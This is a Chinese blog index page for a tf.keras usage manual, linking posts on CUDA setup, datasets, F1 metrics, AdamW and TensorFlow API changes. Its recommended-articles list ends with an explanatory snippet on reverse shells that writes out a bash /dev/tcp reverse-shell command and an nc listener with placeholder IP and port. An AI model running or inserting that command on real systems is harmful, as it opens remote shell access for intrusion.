0. 简介

记录使用 tf.keras 时遇到的各种问题。

tf.keras 是 keras 的未来,keras 作为 TensorFlow 的高级 API,大大简化 TensorFlow 代码的编写过程。

Keras(单独的)、TensorFlow 1.x 和 TensorFlow 2.0 的 keras API 变化不大,手册可以通用。

1. 安装

1.1 安装 CUDA 和 cuDNN

【tf.keras】Linux 非 root 用户安装 CUDA 和 cuDNN

2. 数据集

2.1 使用 tensorflow_datasets 导入公共数据集

【tf.keras】tensorflow datasets,tfds

2.2 数据集过大导致内存溢出

【tf.keras】在 cifar 上训练 AlexNet,数据集过大导致 OOM

2.3 加载 cifar10 数据时报错

【tf.keras】ssl.SSLError: [SSL: DECRYPTION_FAILED_OR_BAD_RECORD_MAC] decryption failed or bad record mac (_ssl.c:1977)

3. 评价指标

3.1 实现 F1 socre、precsion、recall

在整个数据集而不是单个 batch 上实现 F1 socre、precsion、recall 等评价指标:
【tf.keras】实现 F1 score、precision、recall 等 metric

4. 优化器

4.1 AdamW 优化器示例程序

【tf.keras】AdamW: Adam with Weight decay

4.2 tf.keras 1.x 在使用 learning rate decay 时不要使用 tf.train 内的优化器

【tf.keras】tf.keras使用tensorflow中定义的optimizer

5. 模型

5.1 模型复现

【tf.keras】tf.keras模型复现
(注意:在CPU上训练才能完全复现模型)

5.2 加载 AlexNet 预训练模型

【tf.keras】tf.keras加载AlexNet预训练模型

5.3 循环训练模型导致 OOM

【tf.keras】Resource exhausted: OOM when allocating tensor with shape [9216,4096] and type float on /job:localhost/replica:0/task:0/device:GPU:0 by allocator GPU_0_bfc

6. TensorFlow API 变化

5.1 TF 1.x 到 TF 2.0 API 变化,随机种子、动态分配显存

【tf.keras】TensorFlow 1.x 到 2.0 的 API 变化

5.2 TF 2.1 API 变化

TensorFlow 2.1 将 fit_generator(), evaluate_generator(), predict_generator() 等函数分别合并到 fit(),evaluate(),predict() 里。

【tf.keras】使用手册的更多相关文章

  1. 基于tensorflow2.0 使用tf.keras实现Fashion MNIST

    本次使用的是2.0测试版,正式版估计会很快就上线了 tf2好像更新了蛮多东西 虽然教程不多 还是找了个试试 的确简单不少,但是还是比较喜欢现在这种写法 老样子先导入库 import tensorflo ...

  2. 【tf.keras】tf.keras加载AlexNet预训练模型

    目录 从 PyTorch 中导出模型参数 第 0 步:配置环境 第 1 步:安装 MMdnn 第 2 步:得到 PyTorch 保存完整结构和参数的模型(pth 文件) 第 3 步:导出 PyTorc ...

  3. 【tf.keras】在 cifar 上训练 AlexNet,数据集过大导致 OOM

    cifar-10 每张图片的大小为 32×32,而 AlexNet 要求图片的输入是 224×224(也有说 227×227 的,这是 224×224 的图片进行大小为 2 的 zero paddin ...

  4. 【tf.keras】实现 F1 score、precision、recall 等 metric

    tf.keras.metric 里面竟然没有实现 F1 score.recall.precision 等指标,一开始觉得真不可思议.但这是有原因的,这些指标在 batch-wise 上计算都没有意义, ...

  5. TensorFlow2.0(11):tf.keras建模三部曲

    .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px so ...

  6. 【tf.keras】TensorFlow 1.x 到 2.0 的 API 变化

    TensorFlow 2.0 版本将 keras 作为高级 API,对于 keras boy/girl 来说,这就很友好了.tf.keras 从 1.x 版本迁移到 2.0 版本,需要修改几个地方. ...

  7. 【tf.keras】tensorflow datasets,tfds

    一些最常用的数据集如 MNIST.Fashion MNIST.cifar10/100 在 tf.keras.datasets 中就能找到,但对于其它也常用的数据集如 SVHN.Caltech101,t ...

  8. 【tf.keras】ssl.SSLError: [SSL: DECRYPTION_FAILED_OR_BAD_RECORD_MAC] decryption failed or bad record mac (_ssl.c:1977)

    问题描述 tf.keras 在加载 cifar10 数据时报错,ssl.SSLError: [SSL: DECRYPTION_FAILED_OR_BAD_RECORD_MAC] decryption ...

  9. 【tf.keras】tf.keras使用tensorflow中定义的optimizer

    Update:2019/09/21 使用 tf.keras 时,请使用 tf.keras.optimizers 里面的优化器,不要使用 tf.train 里面的优化器,不然学习率衰减会出现问题. 使用 ...

随机推荐

  1. 微信小程序 view中的image水平垂直居中

    当 display: flex 配合 justify-content: center 使用时可以让view水平居中 而配合 align-items: center 用时可以实现垂直居中效果 .card ...

  2. springboot 项目打包可运行jar文件

    eclipse 运行run as  maven bulid  ,填入package ,运行打包 java -jar xxx.jar

  3. codeforce 378 div 2 F —— Drivers Dissatisfaction (最小生成树,LCA,倍增)

    官方题解: If you choose any n - 1 roads then price of reducing overall dissatisfaction is equal to min(c ...

  4. vue v-for循环使用

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  5. Spring Security 学习笔记-授权控制过滤器

    FilterSecurityInterceptor  是比较核心的过滤器,主要负责授权工作.SecurityMetadataSource 需要安全授权的元数据资源 AuthenticationMana ...

  6. 【t091】油滴扩展

    Time Limit: 1 second Memory Limit: 128 MB [问题描述] 在一个长方形框子里,最多有N(0≤N≤6)个相异的点.在其中任何一个点上放一个很小的油滴,那么这个油滴 ...

  7. 2018-8-10-C#-使用Emit深克隆

    title author date CreateTime categories C# 使用Emit深克隆 lindexi 2018-08-10 19:16:52 +0800 2018-2-13 17: ...

  8. JRoll 2 适用于移动开发滚动(滑动)——轻量级插件

    JRoll,一款能滚起上万条数据,具有滑动加速.回弹.缩放.滚动条.滑动事件等功能,兼容CommonJS/AMD/CMD模块规范,开源,免费的轻量级html5滚动插件. 官网:http://www.c ...

  9. MFC 获取本机IP、网络ip和物理地址

    获取本机Ip CString CNet::GetLocalIP() { WSADATA wsaData; , ), &wsaData); ) { return ""; } ...

  10. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...